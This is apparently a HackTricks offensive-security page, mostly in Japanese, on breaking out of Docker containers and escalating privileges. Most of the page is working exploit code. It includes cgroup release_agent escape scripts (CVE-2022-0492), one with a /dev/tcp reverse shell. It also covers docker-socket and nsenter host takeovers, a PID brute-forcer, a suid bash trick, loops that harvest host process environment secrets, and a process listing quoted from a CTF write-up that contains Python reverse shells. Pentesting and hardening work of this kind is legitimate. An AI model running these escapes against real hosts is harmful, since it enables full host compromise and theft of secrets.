# Docker Breakout / Privilege Escalation {{#include ../../../../banners/hacktricks-training.md}} ## 自動列挙とエスケープ - [**linpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS): コンテナを**列挙**することもできます - [**CDK**](https://github.com/cdk-team/CDK#installationdelivery): このツールは、あなたがいるコンテナを**列挙**し、自動的にエスケープを試みるのに非常に**便利**です - [**amicontained**](https://github.com/genuinetools/amicontained): コンテナが持つ権限を取得し、そこからエスケープする方法を見つけるのに役立つツール - [**deepce**](https://github.com/stealthcopter/deepce): コンテナから列挙し、エスケープするためのツール - [**grype**](https://github.com/anchore/grype): 画像にインストールされているソフトウェアに含まれるCVEを取得します ## マウントされたDockerソケットエスケープ もし何らかの理由で**dockerソケットがコンテナ内にマウントされている**ことがわかれば、そこからエスケープすることができます。\ これは通常、何らかの理由でアクションを実行するためにdockerデーモンに接続する必要があるdockerコンテナで発生します。 ```bash #Search the socket find / -name docker.sock 2>/dev/null #It's usually in /run/docker.sock ``` この場合、通常のdockerコマンドを使用してdockerデーモンと通信できます: ```bash #List images to use one docker images #Run the image mounting the host disk and chroot on it docker run -it -v /:/host/ ubuntu:18.04 chroot /host/ bash # Get full access to the host via ns pid and nsenter cli docker run -it --rm --pid=host --privileged ubuntu bash nsenter --target 1 --mount --uts --ipc --net --pid -- bash # Get full privs in container without --privileged docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --security-opt seccomp=unconfined --security-opt label:disable --pid=host --userns=host --uts=host --cgroupns=host ubuntu chroot /host/ bash ``` > [!TIP] > **docker socketが予期しない場所にある場合**でも、**`docker`**コマンドを使用して、パラメータ**`-H unix:///path/to/docker.sock`**で通信できます。 Dockerデーモンは、[ポートでリッスンしている場合もあります(デフォルトは2375、2376)](../../../../network-services-pentesting/2375-pentesting-docker.md) または、Systemdベースのシステムでは、Systemdソケット`fd://`を介してDockerデーモンと通信できます。 > [!TIP] > さらに、他の高レベルランタイムのランタイムソケットにも注意してください: > > - dockershim: `unix:///var/run/dockershim.sock` > - containerd: `unix:///run/containerd/containerd.sock` > - cri-o: `unix:///var/run/crio/crio.sock` > - frakti: `unix:///var/run/frakti.sock` > - rktlet: `unix:///var/run/rktlet.sock` > - ... ## Capabilities Abuse Escape コンテナの能力を確認する必要があります。以下のいずれかを持っている場合、そこから脱出できる可能性があります:**`CAP_SYS_ADMIN`**、**`CAP_SYS_PTRACE`**、**`CAP_SYS_MODULE`**、**`DAC_READ_SEARCH`**、**`DAC_OVERRIDE`、`CAP_SYS_RAWIO`、`CAP_SYSLOG`、`CAP_NET_RAW`、`CAP_NET_ADMIN`** 現在のコンテナの能力は、**前述の自動ツール**を使用するか、次の方法で確認できます: ```bash capsh --print ``` 以下のページでは、**Linuxの能力について詳しく学び**、それを悪用して特権を逃れたり昇格させたりする方法を学ぶことができます: {{#ref}} ../../linux-capabilities.md {{#endref}} ## 特権コンテナからの脱出 特権コンテナは、フラグ `--privileged` を使用するか、特定の防御を無効にすることで作成できます: - `--cap-add=ALL` - `--security-opt apparmor=unconfined` - `--security-opt seccomp=unconfined` - `--security-opt label:disable` - `--pid=host` - `--userns=host` - `--uts=host` - `--cgroupns=host` - `Mount /dev` `--privileged` フラグはコンテナのセキュリティを大幅に低下させ、**制限のないデバイスアクセス**を提供し、**いくつかの保護を回避**します。詳細な内訳については、`--privileged` の完全な影響に関するドキュメントを参照してください。 {{#ref}} ../docker-privileged.md {{#endref}} ### 特権 + hostPID これらの権限を使用すると、単に**ホストでルートとして実行されているプロセスの名前空間に移動**することができます。例えば、init (pid:1) に対して、次のコマンドを実行します:`nsenter --target 1 --mount --uts --ipc --net --pid -- bash` コンテナ内で次のようにテストしてください: ```bash docker run --rm -it --pid=host --privileged ubuntu bash ``` ### 特権 特権フラグを使用するだけで、**ホストのディスクにアクセス**したり、**release_agentや他のエスケープを悪用してエスケープを試みたり**することができます。 次のバイパスをコンテナで実行してテストしてください: ```bash docker run --rm -it --privileged ubuntu bash ``` #### ディスクのマウント - Poc1 適切に構成されたdockerコンテナでは、**fdisk -l**のようなコマンドは許可されません。しかし、`--privileged`または`--device=/dev/sda1`のフラグが指定された誤った構成のdockerコマンドでは、ホストドライブを見るための権限を取得することが可能です。 ![](https://bestestredteam.com/content/images/2019/08/image-16.png) したがって、ホストマシンを乗っ取ることは簡単です: ```bash mkdir -p /mnt/hola mount /dev/sda1 /mnt/hola ``` そして、これで!ホストのファイルシステムにアクセスできるようになりました。これは `/mnt/hola` フォルダーにマウントされています。 #### ディスクのマウント - Poc2 コンテナ内で、攻撃者はクラスターによって作成された書き込み可能な hostPath ボリュームを介して、基盤となるホスト OS へのさらなるアクセスを試みるかもしれません。以下は、この攻撃者ベクターを利用できるかどうかを確認するためにコンテナ内でチェックできる一般的な項目です: ```bash ### Check if You Can Write to a File-system echo 1 > /proc/sysrq-trigger ### Check root UUID cat /proc/cmdline BOOT_IMAGE=/boot/vmlinuz-4.4.0-197-generic root=UUID=b2e62f4f-d338-470e-9ae7-4fc0e014858c ro console=tty1 console=ttyS0 earlyprintk=ttyS0 rootdelay=300 # Check Underlying Host Filesystem findfs UUID= /dev/sda1 # Attempt to Mount the Host's Filesystem mkdir /mnt-test mount /dev/sda1 /mnt-test mount: /mnt: permission denied. ---> Failed! but if not, you may have access to the underlying host OS file-system now. ### debugfs (Interactive File System Debugger) debugfs /dev/sda1 ``` #### 特権エスケープ 既存の release_agent を悪用する ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC1 ```bash:Initial PoC # spawn a new container to exploit via: # docker run --rm -it --privileged ubuntu bash # Finds + enables a cgroup release_agent # Looks for something like: /sys/fs/cgroup/*/release_agent d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)` # If "d" is empty, this won't work, you need to use the next PoC # Enables notify_on_release in the cgroup mkdir -p $d/w; echo 1 >$d/w/notify_on_release # If you have a "Read-only file system" error, you need to use the next PoC # Finds path of OverlayFS mount for container # Unless the configuration explicitly exposes the mount point of the host filesystem # see https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html t=`sed -n 's/overlay \/ .*\perdir=\([^,]*\).*/\1/p' /etc/mtab` # Sets release_agent to /path/payload touch /o; echo $t/c > $d/release_agent # Creates a payload echo "#!/bin/sh" > /c echo "ps > $t/o" >> /c chmod +x /c # Triggers the cgroup via empty cgroup.procs sh -c "echo 0 > $d/w/cgroup.procs"; sleep 1 # Reads the output cat /o ``` #### 特権エスケープ created release_agent の悪用 ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC2 ```bash:Second PoC # On the host docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash # Mounts the RDMA cgroup controller and create a child cgroup # This technique should work with the majority of cgroup controllers # If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist" # It's because your setup doesn't have the RDMA cgroup controller, try change rdma to memory to fix it mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x # If mount gives an error, this won't work, you need to use the first PoC # Enables cgroup notifications on release of the "x" cgroup echo 1 > /tmp/cgrp/x/notify_on_release # Finds path of OverlayFS mount for container # Unless the configuration explicitly exposes the mount point of the host filesystem # see https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` # Sets release_agent to /path/payload echo "$host_path/cmd" > /tmp/cgrp/release_agent #For a normal PoC ================= echo '#!/bin/sh' > /cmd echo "ps aux > $host_path/output" >> /cmd chmod a+x /cmd #=================================== #Reverse shell echo '#!/bin/bash' > /cmd echo "bash -i >& /dev/tcp/172.17.0.1/9000 0>&1" >> /cmd chmod a+x /cmd #=================================== # Executes the attack by spawning a process that immediately ends inside the "x" child cgroup # By creating a /bin/sh process and writing its PID to the cgroup.procs file in "x" child cgroup directory # The script on the host will execute after /bin/sh exits sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" # Reads the output cat /output ``` {{#ref}} docker-release_agent-cgroups-escape.md {{#endref}} #### 特権エスケープ release_agentを相対パスを知らずに悪用する - PoC3 前のエクスプロイトでは、**ホストのファイルシステム内のコンテナの絶対パスが開示されます**。しかし、これは常に当てはまるわけではありません。ホスト内のコンテナの**絶対パスがわからない場合**は、この技術を使用できます: {{#ref}} release_agent-exploit-relative-paths-to-pids.md {{#endref}} ```bash #!/bin/sh OUTPUT_DIR="/" MAX_PID=65535 CGROUP_NAME="xyx" CGROUP_MOUNT="/tmp/cgrp" PAYLOAD_NAME="${CGROUP_NAME}_payload.sh" PAYLOAD_PATH="${OUTPUT_DIR}/${PAYLOAD_NAME}" OUTPUT_NAME="${CGROUP_NAME}_payload.out" OUTPUT_PATH="${OUTPUT_DIR}/${OUTPUT_NAME}" # Run a process for which we can search for (not needed in reality, but nice to have) sleep 10000 & # Prepare the payload script to execute on the host cat > ${PAYLOAD_PATH} << __EOF__ #!/bin/sh OUTPATH=\$(dirname \$0)/${OUTPUT_NAME} # Commands to run on the host< ps -eaf > \${OUTPATH} 2>&1 __EOF__ # Make the payload script executable chmod a+x ${PAYLOAD_PATH} # Set up the cgroup mount using the memory resource cgroup controller mkdir ${CGROUP_MOUNT} mount -t cgroup -o memory cgroup ${CGROUP_MOUNT} mkdir ${CGROUP_MOUNT}/${CGROUP_NAME} echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release # Brute force the host pid until the output path is created, or we run out of guesses TPID=1 while [ ! -f ${OUTPUT_PATH} ] do if [ $((${TPID} % 100)) -eq 0 ] then echo "Checking pid ${TPID}" if [ ${TPID} -gt ${MAX_PID} ] then echo "Exiting at ${MAX_PID} :-(" exit 1 fi fi # Set the release_agent path to the guessed pid echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent # Trigger execution of the release_agent sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs" TPID=$((${TPID} + 1)) done # Wait for and cat the output sleep 1 echo "Done! Output:" cat ${OUTPUT_PATH} ``` 特権コンテナ内でPoCを実行すると、次のような出力が得られるはずです: ```bash root@container:~$ ./release_agent_pid_brute.sh Checking pid 100 Checking pid 200 Checking pid 300 Checking pid 400 Checking pid 500 Checking pid 600 Checking pid 700 Checking pid 800 Checking pid 900 Checking pid 1000 Checking pid 1100 Checking pid 1200 Done! Output: UID PID PPID C STIME TTY TIME CMD root 1 0 0 11:25 ? 00:00:01 /sbin/init root 2 0 0 11:25 ? 00:00:00 [kthreadd] root 3 2 0 11:25 ? 00:00:00 [rcu_gp] root 4 2 0 11:25 ? 00:00:00 [rcu_par_gp] root 5 2 0 11:25 ? 00:00:00 [kworker/0:0-events] root 6 2 0 11:25 ? 00:00:00 [kworker/0:0H-kblockd] root 9 2 0 11:25 ? 00:00:00 [mm_percpu_wq] root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0] ... ``` #### 特権エスケープ:センシティブマウントの悪用 マウントされる可能性のあるファイルがいくつかあり、これらは**基盤となるホストに関する情報**を提供します。中には、**何かが発生したときにホストによって実行されるべき何か**を示すものもあります(これにより攻撃者はコンテナからエスケープすることが可能になります)。\ これらのファイルの悪用により、以下のことが可能になる場合があります: - release_agent(以前に説明済み) - [binfmt_misc](sensitive-mounts.md#proc-sys-fs-binfmt_misc) - [core_pattern](sensitive-mounts.md#proc-sys-kernel-core_pattern) - [uevent_helper](sensitive-mounts.md#sys-kernel-uevent_helper) - [modprobe](sensitive-mounts.md#proc-sys-kernel-modprobe) ただし、このページで確認すべき**他のセンシティブファイル**を見つけることができます: {{#ref}} sensitive-mounts.md {{#endref}} ### 任意のマウント いくつかの状況では、**コンテナがホストからいくつかのボリュームをマウントしている**ことがわかります。このボリュームが正しく構成されていない場合、**センシティブデータにアクセス/変更することができる**かもしれません:秘密情報を読み取ったり、sshのauthorized_keysを変更したり… ```bash docker run --rm -it -v /:/host ubuntu bash ``` 別の興味深い例は[**このブログ**](https://projectdiscovery.io/blog/versa-concerto-authentication-bypass-rce)に見られ、ホストの`/usr/bin/`および`/bin/`フォルダーがコンテナ内にマウントされているため、コンテナのルートユーザーがこれらのフォルダー内のバイナリを変更できることが示されています。したがって、cronジョブがそこからのバイナリを使用している場合、例えば`/etc/cron.d/popularity-contest`のように、cronジョブによって使用されるバイナリを変更することでコンテナから脱出することができます。 ### 2つのシェルとホストマウントを使用した特権昇格 ホストからマウントされたフォルダーを持つ**コンテナ内のrootとしてアクセス**があり、**非特権ユーザーとしてホストに脱出**し、マウントされたフォルダーに対する読み取りアクセスがある場合、\ **コンテナ内のマウントされたフォルダー**に**bash suidファイル**を作成し、**ホストから実行**して特権昇格を行うことができます。 ```bash cp /bin/bash . #From non priv inside mounted folder # You need to copy it from the host as the bash binaries might be diferent in the host and in the container chown root:root bash #From container as root inside mounted folder chmod 4777 bash #From container as root inside mounted folder bash -p #From non priv inside mounted folder ``` ### 特権昇格と2つのシェル **コンテナ内でrootとしてアクセスでき**、**非特権ユーザーとしてホストにエスケープした**場合、コンテナ内でMKNODの権限がある限り(デフォルトで持っています)、両方のシェルを利用して**ホスト内での特権昇格**を行うことができます(詳細は[**この投稿**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/)を参照)。\ この権限を持つことで、コンテナ内のrootユーザーは**ブロックデバイスファイルを作成**することが許可されます。デバイスファイルは、**基盤となるハードウェアやカーネルモジュールにアクセスするために使用される特別なファイル**です。例えば、/dev/sdaのブロックデバイスファイルは、**システムディスク上の生データを読み取る**ためのアクセスを提供します。 Dockerは、コンテナ内でのブロックデバイスの誤用を防ぐために、**ブロックデバイスの読み書き操作をブロックする**cgroupポリシーを強制しています。それにもかかわらず、ブロックデバイスが**コンテナ内で作成されると**、それは**/proc/PID/root/**ディレクトリを介してコンテナの外部からアクセス可能になります。このアクセスには、**プロセスの所有者がコンテナ内外で同じである必要があります**。 **悪用**の例は、[**この書き込み**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/)からのものです: ```bash # On the container as root cd / # Crate device mknod sda b 8 0 # Give access to it chmod 777 sda # Create the nonepriv user of the host inside the container ## In this case it's called augustus (like the user from the host) echo "augustus:x:1000:1000:augustus,,,:/home/augustus:/bin/bash" >> /etc/passwd # Get a shell as augustus inside the container su augustus su: Authentication failure (Ignored) augustus@3a453ab39d3d:/backend$ /bin/sh /bin/sh $ ``` ```bash # On the host # get the real PID of the shell inside the container as the new https://app.gitbook.com/s/-L_2uGJGU7AVNRcqRvEi/~/changes/3847/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation#privilege-escalation-with-2-shells user augustus@GoodGames:~$ ps -auxf | grep /bin/sh root 1496 0.0 0.0 4292 744 ? S 09:30 0:00 \_ /bin/sh -c python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.12",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")' root 1627 0.0 0.0 4292 756 ? S 09:44 0:00 \_ /bin/sh -c python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.12",4445));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")' augustus 1659 0.0 0.0 4292 712 ? S+ 09:48 0:00 \_ /bin/sh augustus 1661 0.0 0.0 6116 648 pts/0 S+ 09:48 0:00 \_ grep /bin/sh # The process ID is 1659 in this case # Grep for the sda for HTB{ through the process: augustus@GoodGames:~$ grep -a 'HTB{' /proc/1659/root/sda HTB{7h4T_w45_Tr1cKy_1_D4r3_54y} ``` ### hostPID ホストのプロセスにアクセスできる場合、そのプロセスに保存されている多くの機密情報にアクセスできるようになります。テストラボを実行してください: ``` docker run --rm -it --pid=host ubuntu bash ``` 例えば、`ps auxn`のようなコマンドを使用してプロセスをリストし、コマンド内の機密情報を検索することができます。 次に、**/proc/内のホストの各プロセスにアクセスできるため、envシークレットを盗むことができます**。 ```bash for e in `ls /proc/*/environ`; do echo; echo $e; xargs -0 -L1 -a $e; done /proc/988058/environ PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin HOSTNAME=argocd-server-69678b4f65-6mmql USER=abrgocd ... ``` 他のプロセスのファイルディスクリプタに**アクセスして、オープンしているファイルを読み取る**こともできます。 ```bash for fd in `find /proc/*/fd`; do ls -al $fd/* 2>/dev/null | grep \>; done > fds.txt less fds.txt ...omitted for brevity... lrwx------ 1 root root 64 Jun 15 02:25 /proc/635813/fd/2 -> /dev/pts/0 lrwx------ 1 root root 64 Jun 15 02:25 /proc/635813/fd/4 -> /.secret.txt.swp # You can open the secret filw with: cat /proc/635813/fd/4 ``` プロセスを**終了させてDoSを引き起こす**こともできます。 > [!WARNING] > もしコンテナの外部でプロセスに対して特権**アクセスを持っている場合**、`nsenter --target --all`や`nsenter --target --mount --net --pid --cgroup`のようなコマンドを実行して、そのプロセスと**同じns制限**(できればなし)で**シェルを実行**することができます。 ### hostNetwork ``` docker run --rm -it --network=host ubuntu bash ``` コンテナがDocker [ホストネットワーキングドライバー(`--network=host`)](https://docs.docker.com/network/host/) で構成されている場合、そのコンテナのネットワークスタックはDockerホストから隔離されておらず(コンテナはホストのネットワーキングネームスペースを共有します)、コンテナには独自のIPアドレスが割り当てられません。言い換えれば、**コンテナはすべてのサービスをホストのIPに直接バインドします**。さらに、コンテナは**ホストが送受信しているすべてのネットワークトラフィックを傍受することができます**。共有インターフェース `tcpdump -i eth0` を使用します。 例えば、これを使用して**ホストとメタデータインスタンス間のトラフィックを傍受し、さらには偽装する**ことができます。 以下の例のように: - [Writeup: How to contact Google SRE: Dropping a shell in cloud SQL](https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/) - [Metadata service MITM allows root privilege escalation (EKS / GKE)](https://blog.champtar.fr/Metadata_MITM_root_EKS_GKE/) ホスト内の**localhostにバインドされたネットワークサービス**にもアクセスできるようになり、さらには**ノードのメタデータ権限**(コンテナがアクセスできるものとは異なる場合があります)にもアクセスできます。 ### hostIPC ```bash docker run --rm -it --ipc=host ubuntu bash ``` `hostIPC=true`を設定すると、ホストのプロセス間通信(IPC)リソース、例えば`/dev/shm`の**共有メモリ**にアクセスできます。これにより、他のホストやポッドプロセスが使用している同じIPCリソースに対して読み書きが可能になります。これらのIPCメカニズムをさらに調査するには、`ipcs`を使用してください。 - **/dev/shmを調査** - この共有メモリの場所にあるファイルを探します: `ls -la /dev/shm` - **既存のIPC施設を調査** – `/usr/bin/ipcs`を使用して、使用中のIPC施設があるか確認できます。次のコマンドで確認してください: `ipcs -a` ### 権限を回復する もしシステムコール**`unshare`**が禁止されていなければ、次のコマンドを実行してすべての権限を回復できます: ```bash unshare -UrmCpf bash # Check them with cat /proc/self/status | grep CapEff ``` ### ユーザー名前空間のシンボリックリンクを利用した悪用 投稿で説明されている2番目の技術は、[https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/) に示されており、ユーザー名前空間を使用してバインドマウントを悪用し、ホスト内のファイルに影響を与える方法(この特定のケースでは、ファイルを削除する)を示しています。 ## CVE ### Runcの脆弱性 (CVE-2019-5736) `docker exec`をrootとして実行できる場合(おそらくsudoを使用して)、CVE-2019-5736を悪用してコンテナからエスケープし、特権を昇格させようとします(エクスプロイトは[こちら](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go))。この技術は基本的に、**コンテナからホストの** _**/bin/sh**_ バイナリを**上書き**するため、docker execを実行する誰もがペイロードをトリガーする可能性があります。 ペイロードを適宜変更し、`go build main.go`でmain.goをビルドします。生成されたバイナリは、実行のためにdockerコンテナに配置する必要があります。\ 実行時に`[+] Overwritten /bin/sh successfully`と表示されたら、ホストマシンから以下を実行する必要があります: `docker exec -it /bin/sh` これにより、main.goファイルに存在するペイロードがトリガーされます。 詳細については、[https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html)をご覧ください。 > [!TIP] > コンテナが脆弱である可能性のある他のCVEもあります。リストは[https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list)で見つけることができます。 ## Dockerカスタムエスケープ ### Dockerエスケープサーフェス - **名前空間:** プロセスは名前空間を介して**他のプロセスから完全に分離されるべき**であり、デフォルトではIPC、Unixソケット、ネットワークサービス、D-Bus、他のプロセスの`/proc`を介して通信できません。 - **ルートユーザー**: デフォルトでは、プロセスを実行しているユーザーはルートユーザーです(ただし、その特権は制限されています)。 - **能力**: Dockerは以下の能力を残します: `cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep` - **システムコール**: これらは**ルートユーザーが呼び出すことができない**システムコールです(能力が不足しているため + Seccomp)。他のシステムコールはエスケープを試みるために使用される可能性があります。 {{#tabs}} {{#tab name="x64 syscalls"}} ```yaml 0x067 -- syslog 0x070 -- setsid 0x09b -- pivot_root 0x0a3 -- acct 0x0a4 -- settimeofday 0x0a7 -- swapon 0x0a8 -- swapoff 0x0aa -- sethostname 0x0ab -- setdomainname 0x0af -- init_module 0x0b0 -- delete_module 0x0d4 -- lookup_dcookie 0x0f6 -- kexec_load 0x12c -- fanotify_init 0x130 -- open_by_handle_at 0x139 -- finit_module 0x140 -- kexec_file_load 0x141 -- bpf ``` {{#endtab}} {{#tab name="arm64 syscalls"}} ``` 0x029 -- pivot_root 0x059 -- acct 0x069 -- init_module 0x06a -- delete_module 0x074 -- syslog 0x09d -- setsid 0x0a1 -- sethostname 0x0a2 -- setdomainname 0x0aa -- settimeofday 0x0e0 -- swapon 0x0e1 -- swapoff 0x106 -- fanotify_init 0x109 -- open_by_handle_at 0x111 -- finit_module 0x118 -- bpf ``` {{#endtab}} {{#tab name="syscall_bf.c"}} ````c // From a conversation I had with @arget131 // Fir bfing syscalss in x64 #include #include #include #include int main() { for(int i = 0; i < 333; ++i) { if(i == SYS_rt_sigreturn) continue; if(i == SYS_select) continue; if(i == SYS_pause) continue; if(i == SYS_exit_group) continue; if(i == SYS_exit) continue; if(i == SYS_clone) continue; if(i == SYS_fork) continue; if(i == SYS_vfork) continue; if(i == SYS_pselect6) continue; if(i == SYS_ppoll) continue; if(i == SYS_seccomp) continue; if(i == SYS_vhangup) continue; if(i == SYS_reboot) continue; if(i == SYS_shutdown) continue; if(i == SYS_msgrcv) continue; printf("Probando: 0x%03x . . . ", i); fflush(stdout); if((syscall(i, NULL, NULL, NULL, NULL, NULL, NULL) < 0) && (errno == EPERM)) printf("Error\n"); else printf("OK\n"); } } ``` ```` {{#endtab}} {{#endtabs}} ### Container Breakout through Usermode helper Template If you are in **userspace** (**no kernel exploit** involved) the way to find new escapes mainly involve the following actions (these templates usually require a container in privileged mode): - Find the **path of the containers filesystem** inside the host - You can do this via **mount**, or via **brute-force PIDs** as explained in the second release_agent exploit - Find some functionality where you can **indicate the path of a script to be executed by a host process (helper)** if something happens - You should be able to **execute the trigger from inside the host** - You need to know where the containers files are located inside the host to indicate a script you write inside the host - Have **enough capabilities and disabled protections** to be able to abuse that functionality - You might need to **mount things** o perform **special privileged actions** you cannot do in a default docker container ## References - [https://twitter.com/\_fel1x/status/1151487053370187776?lang=en-GB](https://twitter.com/_fel1x/status/1151487053370187776?lang=en-GB) - [https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/) - [https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html](https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html) - [https://medium.com/swlh/kubernetes-attack-path-part-2-post-initial-access-1e27aabda36d](https://medium.com/swlh/kubernetes-attack-path-part-2-post-initial-access-1e27aabda36d) - [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/host-networking-driver](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/host-networking-driver) - [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket) - [https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4](https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4) {{#include ../../../../banners/hacktricks-training.md}}